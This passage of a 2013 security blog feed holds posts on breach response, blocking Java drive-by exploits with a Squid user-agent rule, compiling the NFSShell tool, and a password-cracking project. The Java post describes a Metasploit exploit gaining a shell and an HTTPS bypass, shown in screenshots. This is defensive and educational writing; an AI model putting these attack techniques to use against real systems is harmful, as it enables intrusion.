&lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=TEtmP9AZrUc:brK0aBPMs8M:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=TEtmP9AZrUc:brK0aBPMs8M:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=TEtmP9AZrUc:brK0aBPMs8M:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=TEtmP9AZrUc:brK0aBPMs8M:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=TEtmP9AZrUc:brK0aBPMs8M:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=TEtmP9AZrUc:brK0aBPMs8M:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=TEtmP9AZrUc:brK0aBPMs8M:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=TEtmP9AZrUc:brK0aBPMs8M:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=TEtmP9AZrUc:brK0aBPMs8M:I56M4DFLkF8"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=TEtmP9AZrUc:brK0aBPMs8M:I56M4DFLkF8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Room362com/~4/TEtmP9AZrUc" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.room362.com/blog/2013/3/4/mounting-nfs-shares-through-meterpreter-with-nfspy.html</feedburner:origLink></entry><entry><title>Suggestions on what to do when a service you use gets compromised</title><id>http://www.room362.com/blog/2013/3/2/suggestions-on-what-to-do-when-a-service-you-use-gets-compro.html</id><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Room362com/~3/f_v_80XgPJU/suggestions-on-what-to-do-when-a-service-you-use-gets-compro.html" /><author><name>Rob Fuller</name></author><published>2013-03-02T21:02:22Z</published><updated>2013-03-02T21:02:22Z</updated><content type="html" xml:lang="en-US">&lt;p&gt;It seems like every week there is a new compromise of some service or another. But as a user what are you supposed to do with this knowledge? Here are some suggestions on things to do or think about when reacting:&lt;/p&gt;
&lt;p&gt;Do you use the password you use there anywhere else?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Think about starting to use a password manager like LastPass, 1Password, KeePass, or a product like Yubico. This way you can very easily use different passwords for different sites.&lt;/li&gt;
&lt;li&gt;Sit down and and start changing every where you use that password. Not just web sites, any machines (your work account) or applications are also possible targets. Start with the sites, machines, and applications that are most sensitive to you.&lt;/li&gt;
&lt;li&gt;It's ok to have a hand written list of passwords for sites. One of my favorite suggestions is to take your drivers license or business card and generate passwords by using every X character on the license and base the X number on the how many letters are in the website. So you use every 6th character for Google.&lt;/li&gt;
&lt;li&gt;It is NOT ok to store your passwords for anything in a Excel, Word or Text document. These are easy pickings for hackers and almost always targeted.&lt;/li&gt;
&lt;li&gt;Again, think about using a password manager&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Do NOT change your password on the affected site or service immediately. You may never know the extent of the compromise but if the company says anything to the effect of "still under investigation" or "preliminary results", there is a chance that the attacker has also compromised the password reset mechanism so changing your password would just give the attacker the new one you have elected.&lt;/p&gt;
&lt;p&gt;Do NOT stop using the service, if they have made it public that they were compromised, especially if they come out with the information first, the company is one of the few that take their dedication to their users seriously. If anything it's a positive (that they came out and said something, not that they were compromised). Very few companies are open about such things as it happens much more often than people want to admit to.&lt;/p&gt;
&lt;p&gt;Got other suggestions for people on how to handle such news? Leave a comment and I'll include it in the main post with attribution.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=f_v_80XgPJU:me38cghtqmE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=f_v_80XgPJU:me38cghtqmE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=f_v_80XgPJU:me38cghtqmE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=f_v_80XgPJU:me38cghtqmE:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=f_v_80XgPJU:me38cghtqmE:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=f_v_80XgPJU:me38cghtqmE:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=f_v_80XgPJU:me38cghtqmE:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=f_v_80XgPJU:me38cghtqmE:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=f_v_80XgPJU:me38cghtqmE:I56M4DFLkF8"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=f_v_80XgPJU:me38cghtqmE:I56M4DFLkF8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Room362com/~4/f_v_80XgPJU" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.room362.com/blog/2013/3/2/suggestions-on-what-to-do-when-a-service-you-use-gets-compro.html</feedburner:origLink></entry><entry><title>Blocking Java Exploits, Malicious Signed Applets, and 0days</title><category term="java" /><id>http://www.room362.com/blog/2013/2/27/blocking-java-exploits-malicious-signed-applets-and-0days.html</id><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Room362com/~3/Q47IytBDZRI/blocking-java-exploits-malicious-signed-applets-and-0days.html" /><author><name>Rob Fuller</name></author><published>2013-02-27T15:42:54Z</published><updated>2013-02-27T15:42:54Z</updated><content type="html" xml:lang="en-US">&lt;p&gt;The following has been a concept for me for a long time and recently I tweeted the idea which really put me under the fire to prove it. (re: justanidea hashtag)&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_110240.png?__SQUARESPACE_CACHEVERSION=1361980972021" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;And a few people came up with some very valid points:&lt;/p&gt;
&lt;p&gt;1) Doesn't work so well with HTTPS sites&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_103904.png?__SQUARESPACE_CACHEVERSION=1361980001588" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;He's right, but that forces the attack to use SSL, and doing so can yield the defender more information about the attacker, and offer other avenues of defense.&lt;/p&gt;
&lt;p&gt;2) Cant an attack just spoof the user-agent?&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_103822.png?__SQUARESPACE_CACHEVERSION=1361980441124" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;and a response:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_105445.png?__SQUARESPACE_CACHEVERSION=1361980524185" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;But in actuality that setting is applied inside the Java code, which needs to be requested by Java first. Using it's User-Agent string. There are probably ways to get this done with Java script or other methods of loading the Java classes/jars but I haven't been able to find any.&lt;/p&gt;
&lt;p&gt;and finally 3) Whitelisting is a myth!&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_103738.png?__SQUARESPACE_CACHEVERSION=1361980669914" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Which goes along with phoobar's responses as well:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_105906.png?__SQUARESPACE_CACHEVERSION=1361980762454" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Yes, there will definitely be challenge when implementing blocking java user agents, and one of the biggest pit falls is that there is no clear indicators to a user that that's the reason for the block. There are ways to make it more evident with custom proxy error pages, but it is a thorn in this solution.&lt;/p&gt;
&lt;p&gt;On to the walking of the walk. Oddly enough there is little to no documentation on blocking or even detecting outbound user-agent strings. But I did happen across an excellent post about how to use Squid to block IE (which I'm all for! ;-):&lt;/p&gt;
&lt;p&gt;&lt;a href="http://gaugusch.at/squid.shtml"&gt;http://gaugusch.at/squid.shtml&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The following is just my testing of his walk-through converted to be used to block java:&lt;/p&gt;
&lt;p&gt;I used pfSense for my testing since it's very easy to set up and already has Squid as a package:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_094251.png?__SQUARESPACE_CACHEVERSION=1361981303078" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;You get the point.&lt;/p&gt;
&lt;p&gt;We set up the latest Java 0day in Metasploit:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_103001.png?__SQUARESPACE_CACHEVERSION=1361981455708" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Get the user to go to our malicious web site:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_103035.png?__SQUARESPACE_CACHEVERSION=1361981550270" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;And the user doesn't see anything. This can be modified in the module. You also see that I was using "Intranet" IP space so some IE settings were lower, but nothing that would effect this exploit.&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img style="width: 600px;" src="http://www.room362.com/storage/post-images/2013-02-27_103042.png?__SQUARESPACE_CACHEVERSION=1361981658104" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;And shell! I want to pull your attention to that YWpdDan.jar request though. That request actually is done by Java with the following user-agent:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div id="_mcePaste"&gt;"Mozilla/4.0 (Windows XP 5.1) Java/1.7.0_09"&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Alright, so the exploit works, but how about the solution? In pfSense you have the ability to slam "Custom Options" into the bottom of pfSense's Squid config page. Like so:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_103321.png?__SQUARESPACE_CACHEVERSION=1361981988624" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There is probably a better regex for selecting only Java user-agents, but this worked for now, and I don't think any browsers actually use "Java" in their user-agents. (UPDATE: Searching for "site:useragentstring.com java" on google only yielded Java, and YACYBOT, which is built on java as using the string "Java" in their agents)&lt;/p&gt;
&lt;p&gt;You can also notice that I've whitelisted webex.com and java.com sites and subdomains so that my "users" won't get blocked using the tools on those sites. This could be pretty hefty with (as phoobar said) a Java dev group. But after the initial push and getting a semi "required" list of external approved sites this list shouldn't need much upgrading, even for large organizations.&lt;/p&gt;
&lt;p&gt;Save the config and let's see how this works out:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_103413.png?__SQUARESPACE_CACHEVERSION=1361982291435" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Ok, but did the attacker still get a shell?&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img style="width: 600px;" src="http://www.room362.com/storage/post-images/2013-02-27_103419.png?__SQUARESPACE_CACHEVERSION=1361982351526" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Nope! Win!&lt;/p&gt;
&lt;p&gt;Just to prove that HTTPS isn't fixed here lets set those options up in Metasploit and kick the same exploit:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img src="http://www.room362.com/storage/post-images/2013-02-27_105028.png?__SQUARESPACE_CACHEVERSION=1361982464017" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;And after an error about a self-signed cert (notice the SSLCert option in Metasploit that has the ability to solve that as well) we get the expected result:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img style="width: 600px;" src="http://www.room362.com/storage/post-images/2013-02-27_105054.png?__SQUARESPACE_CACHEVERSION=1361982553845" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;And subsequent shell without any indication in Squid's proxy logs of a Java user-agent:&lt;/p&gt;
&lt;p&gt;&lt;span class="full-image-block ssNonEditable"&gt;&lt;span&gt;&lt;img style="width: 600px;" src="http://www.room362.com/storage/post-images/2013-02-27_105135.png?__SQUARESPACE_CACHEVERSION=1361982637477" alt="" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;That's it, sort of a long post but hopefully something that people can use. Thanks!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I'm not exactly certain how this affects Java "Web Start" weblet exploits if at all.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Q47IytBDZRI:ZRyw42m7hdM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Q47IytBDZRI:ZRyw42m7hdM:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Q47IytBDZRI:ZRyw42m7hdM:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Q47IytBDZRI:ZRyw42m7hdM:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Q47IytBDZRI:ZRyw42m7hdM:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Q47IytBDZRI:ZRyw42m7hdM:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Q47IytBDZRI:ZRyw42m7hdM:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Q47IytBDZRI:ZRyw42m7hdM:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Q47IytBDZRI:ZRyw42m7hdM:I56M4DFLkF8"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Q47IytBDZRI:ZRyw42m7hdM:I56M4DFLkF8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Room362com/~4/Q47IytBDZRI" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.room362.com/blog/2013/2/27/blocking-java-exploits-malicious-signed-applets-and-0days.html</feedburner:origLink></entry><entry><title>Compile NFSShell on Ubuntu</title><id>http://www.room362.com/blog/2013/2/22/compile-nfsshell-on-ubuntu.html</id><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Room362com/~3/Vuy_WoSiDzs/compile-nfsshell-on-ubuntu.html" /><author><name>Rob Fuller</name></author><published>2013-02-22T20:36:02Z</published><updated>2013-02-22T20:36:02Z</updated><content type="html" xml:lang="en-US">&lt;p&gt;This is here because I always forget how to do it&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;sudo apt-get install libtirpc-dev libncurses-dev&lt;/li&gt;
&lt;li&gt;wget&amp;nbsp;http://www.cs.vu.nl/pub/leendert/nfsshell.tar.gz&lt;/li&gt;
&lt;li&gt;tar zxvf nfsshell.tar.gz&lt;/li&gt;
&lt;li&gt;cd nfs&lt;/li&gt;
&lt;li&gt;ln -s /usr/include/tirpc/rpc/clnt_soc.h /usr/include/rpc/clnt_soc.h&lt;/li&gt;
&lt;li&gt;perl -p -i.orig -e 's/getline/getline_nfs/' nfs.c&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Next part I don't have a good way to automate. You need to go in and comment out (w/ #) the 4 lines following "uncomment the following 4 lines for Solaris 2.x" and uncomment the 2 lines following "For GNU readline support you need to add"&lt;/p&gt;
&lt;p&gt;After that a simple "make" should get you ./nfs sitting there for your use.&lt;/p&gt;
&lt;p&gt;Will probably make a repo out of this so I don't have to keep doing it..&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vuy_WoSiDzs:PwBFI1yUbSc:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vuy_WoSiDzs:PwBFI1yUbSc:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Vuy_WoSiDzs:PwBFI1yUbSc:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vuy_WoSiDzs:PwBFI1yUbSc:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Vuy_WoSiDzs:PwBFI1yUbSc:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vuy_WoSiDzs:PwBFI1yUbSc:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vuy_WoSiDzs:PwBFI1yUbSc:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Vuy_WoSiDzs:PwBFI1yUbSc:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Vuy_WoSiDzs:PwBFI1yUbSc:I56M4DFLkF8"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Vuy_WoSiDzs:PwBFI1yUbSc:I56M4DFLkF8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Room362com/~4/Vuy_WoSiDzs" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.room362.com/blog/2013/2/22/compile-nfsshell-on-ubuntu.html</feedburner:origLink></entry><entry><title>ShmooCon 2013 Streaming</title><id>http://www.room362.com/blog/2013/2/14/shmoocon-2013-streaming.html</id><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Room362com/~3/mBHrisGjI04/shmoocon-2013-streaming.html" /><author><name>Rob Fuller</name></author><published>2013-02-15T04:11:29Z</published><updated>2013-02-15T04:11:29Z</updated><content type="html" xml:lang="en-US">&lt;p&gt;Thanks to &lt;a href="https://twitter.com/spatial_d"&gt;@spatial_d&lt;/a&gt; for the tweet here: &lt;a href="https://twitter.com/spatial_d/status/302253050725298176"&gt;https://twitter.com/spatial_d/status/302253050725298176&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I'm capturing it here more of a bookmark for myself:&lt;/p&gt;
&lt;p&gt;Build It: &lt;a href="http://www.ustream.tv/channel/build-it-2013"&gt;http://www.ustream.tv/channel/build-it-2013&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Belay It: &lt;a href="http://www.ustream.tv/channel/belay-it-2013"&gt;http://www.ustream.tv/channel/belay-it-2013&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Bring It On: &lt;a href="http://www.ustream.tv/channel/bring-it-2013"&gt;http://www.ustream.tv/channel/bring-it-2013&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=mBHrisGjI04:GpmxxlqmZtk:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=mBHrisGjI04:GpmxxlqmZtk:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=mBHrisGjI04:GpmxxlqmZtk:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=mBHrisGjI04:GpmxxlqmZtk:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=mBHrisGjI04:GpmxxlqmZtk:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=mBHrisGjI04:GpmxxlqmZtk:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=mBHrisGjI04:GpmxxlqmZtk:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=mBHrisGjI04:GpmxxlqmZtk:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=mBHrisGjI04:GpmxxlqmZtk:I56M4DFLkF8"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=mBHrisGjI04:GpmxxlqmZtk:I56M4DFLkF8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Room362com/~4/mBHrisGjI04" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.room362.com/blog/2013/2/14/shmoocon-2013-streaming.html</feedburner:origLink></entry><entry><title>Metasploit Mastery meets CanSecWest</title><id>http://www.room362.com/blog/2013/1/25/metasploit-mastery-meets-cansecwest.html</id><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Room362com/~3/Sb86U4cbyFk/metasploit-mastery-meets-cansecwest.html" /><author><name>Rob Fuller</name></author><published>2013-01-25T16:12:20Z</published><updated>2013-01-25T16:12:20Z</updated><content type="html" xml:lang="en-US">&lt;p&gt;In 2012 &lt;a href="https://twitter.com/egyp7"&gt;egypt &lt;/a&gt;and I taught &lt;a href="https://www.derbycon.com/traning-classes-2012/#metasploit"&gt;Metasploit Mastery&lt;/a&gt; for a day and a half @&lt;a href="https://twitter.com/derbycon"&gt;DerbyCon&lt;/a&gt; . This was a lot of fun but we had to cram a TON of slides into that short period of time. PLUS we had a CTF at the end where people had to break into a corporate network (virtualized) and sell their shells, data, passwords, or flags to us (egypt and I were acting as opposing countries). You could sell low to one and high to another whatever. Most money at the end wins. (We used a score card with ranges to keep it even)&lt;/p&gt;
&lt;p&gt;We are doubling down on the content being provided and doing a 3 full days @ &lt;a href="https://twitter.com/secwest"&gt;CanSecWest&lt;/a&gt;. You get to learn the nooks and cranies of Metasploit's guts from _the_ egypt himself, and operational use from me, with a ton mixed in between. I mean, just getting in the room with egypt's beard is worth the price of admission.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;See you there!&lt;/p&gt;
&lt;p&gt;Linky: &lt;a href="http://cansecwest.com/dojos/2013/meta_mastery.html"&gt;http://cansecwest.com/dojos/2013/meta_mastery.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;EOF&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Sb86U4cbyFk:gDmVg7Gh1FY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Sb86U4cbyFk:gDmVg7Gh1FY:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Sb86U4cbyFk:gDmVg7Gh1FY:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Sb86U4cbyFk:gDmVg7Gh1FY:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Sb86U4cbyFk:gDmVg7Gh1FY:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Sb86U4cbyFk:gDmVg7Gh1FY:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Sb86U4cbyFk:gDmVg7Gh1FY:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Sb86U4cbyFk:gDmVg7Gh1FY:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Room362com?a=Sb86U4cbyFk:gDmVg7Gh1FY:I56M4DFLkF8"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Room362com?i=Sb86U4cbyFk:gDmVg7Gh1FY:I56M4DFLkF8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Room362com/~4/Sb86U4cbyFk" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.room362.com/blog/2013/1/25/metasploit-mastery-meets-cansecwest.html</feedburner:origLink></entry><entry><title>Intro to White Chapel</title><category term="cracking" /><category term="passwords" /><category term="whitechapel" /><id>http://www.room362.com/blog/2013/1/19/intro-to-white-chapel.html</id><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Room362com/~3/oNr85CY0c3Y/intro-to-white-chapel.html" /><author><name>Rob Fuller</name></author><published>2013-01-19T02:50:08Z</published><updated>2013-01-19T02:50:08Z</updated><content type="html" xml:lang="en-US">&lt;p&gt;I made a slide deck to kind of explain my latest project. Basically I got fed up with having dictionaries, passwords, and cracking tools but no way to really do better collaboration in a team format as well as just better management for myself. &lt;/p&gt;
&lt;p&gt;Please feel free to submit pull requests, issues if you think something is broken or want features, or whatever on the Github repo here:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/mubix/WhiteChapel/"&gt;https://github.com/mubix/WhiteChapel/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here is the slide deck:&lt;/p&gt;
&lt;p&gt;&lt;iframe src="http://www.slideshare.net/slideshow/embed_code/16064224" width="476" height="400" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
